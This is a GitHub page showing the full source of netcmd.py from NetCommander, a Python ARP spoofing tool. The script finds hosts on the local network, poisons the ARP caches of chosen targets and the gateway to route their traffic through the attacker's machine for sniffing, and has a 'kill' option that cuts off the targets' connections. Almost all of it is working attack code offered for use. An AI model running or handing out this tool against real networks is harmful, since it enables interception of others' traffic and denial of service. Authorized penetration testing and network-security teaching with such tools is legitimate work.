forked from meh/NetCommander
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnetcmd.py
executable file
·250 lines (207 loc) · 8.68 KB
/
netcmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#!/usr/bin/python
# This file is part of NetCommander.
#
# Copyright(c) 2010-2011 Simone Margaritelli
# http://www.evilsocket.net
# http://www.backbox.org
#
# This file may be licensed under the terms of of the
# GNU General Public License Version 2 (the ``GPL'').
#
# Software distributed under the License is distributed
# on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either
# express or implied. See the GPL for the specific language
# governing rights and limitations.
#
# You should have received a copy of the GPL along with this
# program. If not, go to http://www.gnu.org/licenses/gpl.html
# or write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import logging
import time
import os
import sys
import atexit
import re
from optparse import OptionParser
import warnings
# ignore deprecation warnings from scapy inclusion
warnings.filterwarnings( "ignore", category = DeprecationWarning )
# disable scapy warnings about ipv6 and shit like that
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import srp,Ether,ARP,conf,sendp,ltoa,atol
class NetCmd:
def __bit_count( self, n ):
bits = 0
while n:
bits += n & 1
n >>= 1
return bits
def __set_forwarding( self, status ):
# Mac OS X
if sys.platform == 'darwin':
p = os.popen( "sysctl -w net.inet.ip.forwarding=%s" % '1' if status == True else '0' )
output = p.readline()
p.close()
if status and not re.match( r'net\.inet\.ip\.forwarding:\s+\d\s+\->\s+\d', output ):
raise Exception( "Unexpected output '%s' while turning ip forwarding." % output )
# Linux
else:
if not os.path.exists( '/proc/sys/net/ipv4/ip_forward' ):
raise Exception( "'/proc/sys/net/ipv4/ip_forward' not found, this is not a compatible operating system." )
fd = open( '/proc/sys/net/ipv4/ip_forward', 'w+' )
fd.write( '1' if status == True else '0' )
fd.close()
def __preload_mac_table( self ):
if os.path.exists( 'mac-prefixes' ):
print "@ Preloading MAC table ..."
fd = open( 'mac-prefixes' )
for line in iter(fd):
( prefix, vendor ) = line.strip().split( ' ', 1 )
self.mac_prefixes[prefix] = vendor
fd.close()
def __find_mac_vendor( self, mac ):
mac = mac.replace( ':', '' ).upper()[:6]
try:
return self.mac_prefixes[mac]
except KeyError as e:
return ''
def find_alive_hosts( self ):
self.gateway_hw = None
self.endpoints = []
print "@ Searching for alive network endpoints ..."
# broadcast arping ftw
ans,unans = srp( Ether( dst = "ff:ff:ff:ff:ff:ff" ) / ARP( pdst = self.network ),
verbose = False,
filter = "arp and arp[7] = 2",
timeout = 2,
iface_hint = self.network )
for snd,rcv in ans:
if rcv.psrc == self.gateway:
self.gateway_hw = rcv.hwsrc
else:
self.endpoints.append( ( rcv.hwsrc, rcv.psrc ) )
if self.endpoints == [] and not self.all:
raise Exception( "Could not find any network alive endpoint." )
def __init__( self, interface, gateway = None, network = None, kill = False, all = False ):
# scapy, you're pretty cool ... but shut the fuck up bitch!
conf.verb = 0
self.interface = interface
self.network = network
self.targets = []
self.gateway = gateway
self.all = all
self.gateway_hw = None
self.packets = []
self.restore = []
self.endpoints = []
self.mac_prefixes = {}
if not os.geteuid() == 0:
raise Exception( "Only root can run this script." )
self.__preload_mac_table()
print "@ Searching for the network gateway address ..."
# for route in conf.route.routes:
for net, msk, gw, iface, addr in conf.route.routes:
# found a route for given interface
if iface == self.interface:
network = ltoa( net )
# compute network representation if not yet done
if network.split('.')[0] == addr.split('.')[0]:
bits = self.__bit_count( msk )
self.network = "%s/%d" % ( network, bits )
# search for a valid network gateway
if self.gateway is None and gw != '0.0.0.0':
self.gateway = gw
if self.gateway is not None and self.network is not None:
print "@ Gateway is %s on network %s ." % ( self.gateway, self.network )
else:
raise Exception( "Could not find any network gateway." )
self.find_alive_hosts()
print "@ Please choose your target :"
choice = None
if all:
self.targets = self.endpoints
else:
while choice is None:
for i, item in enumerate( self.endpoints ):
( mac, ip ) = item
vendor = self.__find_mac_vendor( mac )
print " [%d] %s %s %s" % ( i, mac, ip, "( %s )" % vendor if vendor else '' )
choice = raw_input( "@ Choose [0-%d] (* to select all, r to refresh): " % (len(self.endpoints) - 1) )
try:
choice = choice.strip()
if choice == '*':
self.targets = self.endpoints
elif choice.lower() == 'r':
choice = None
self.find_alive_hosts()
else:
self.targets.append( self.endpoints[ int(choice) ] )
except Exception as e:
print "@ Invalid choice!"
choice = None
self.craft_packets()
if not kill:
print "@ Enabling ipv4 forwarding system wide ..."
self.__set_forwarding( True )
else:
print "@ Disabling ipv4 forwarding system wide to kill target connections ..."
self.__set_forwarding( False )
atexit.register( self.restore_cache )
def craft_packets( self ):
# craft packets to accomplish a full forwarding:
# gateway -> us -> target
# target -> us -> gateway
for target in self.targets:
self.packets.append( Ether( dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1], pdst = self.gateway ) )
self.packets.append( Ether( dst = target[0] ) / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
# and packets to restore the cache later
self.restore.append( Ether( src = target[0], dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1], pdst = self.gateway ) )
self.restore.append( Ether( src = self.gateway_hw, dst = target[0] ) / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
def restore_cache( self ):
os.write( 1, "\n@ Restoring ARP cache " )
for i in range(5):
for packet in self.restore:
sendp( packet, iface_hint = self.gateway )
os.write( 1, '.' )
time.sleep(1)
os.write( 1, "\n" )
self.__set_forwarding( False )
def spoof( self ):
if self.all and self.targets != self.endpoints:
self.targets = self.endpoints
self.craft_packets()
for packet in self.packets:
sendp( packet, iface_hint = self.gateway )
try:
print "\n\tNetCommander 1.3 - An easy to use arp spoofing tool.\n \
\tCopyleft Simone Margaritelli <[email protected]>\n \
\thttp://www.evilsocket.net\n\thttp://www.backbox.org\n";
parser = OptionParser( usage = "usage: %prog [options]" )
parser.add_option( "-I", "--iface", action="store", dest="iface", default=conf.iface, help="Network interface to use if different from the default one." );
parser.add_option( "-N", "--network", action="store", dest="network", default=None, help="Network to work on." );
parser.add_option( "-G", "--gateway", action="store", dest="gateway", default=None, help="Gateway to use." );
parser.add_option( "-K", "--kill", action="store_true", dest="kill", default=False, help="Kill targets connections instead of forwarding them." )
parser.add_option( "-D", "--delay", action="store", dest="delay", default=5, help="Delay in seconds between one arp packet and another, default is 5." )
parser.add_option( "-A", "--all", action="store_true", dest="all", default=False, help="Keep spoofing and spoof all connected and later connected interfaces." )
(o, args) = parser.parse_args()
ncmd = NetCmd( o.iface, o.gateway, o.network, o.kill, o.all )
if not o.kill:
os.write( 1, "@ Spoofing, launch your preferred network sniffer to see target traffic " )
else:
os.write( 1, "@ Killing target connections " )
slept = 0
while 1:
ncmd.spoof()
os.write( 1, '.' )
time.sleep( o.delay )
slept += 1
if o.all and slept > 10:
ncmd.restore_cache()
ncmd.find_alive_hosts()
slept = 0
except KeyboardInterrupt:
pass
except Exception as e:
print "@ ERROR : %s" % e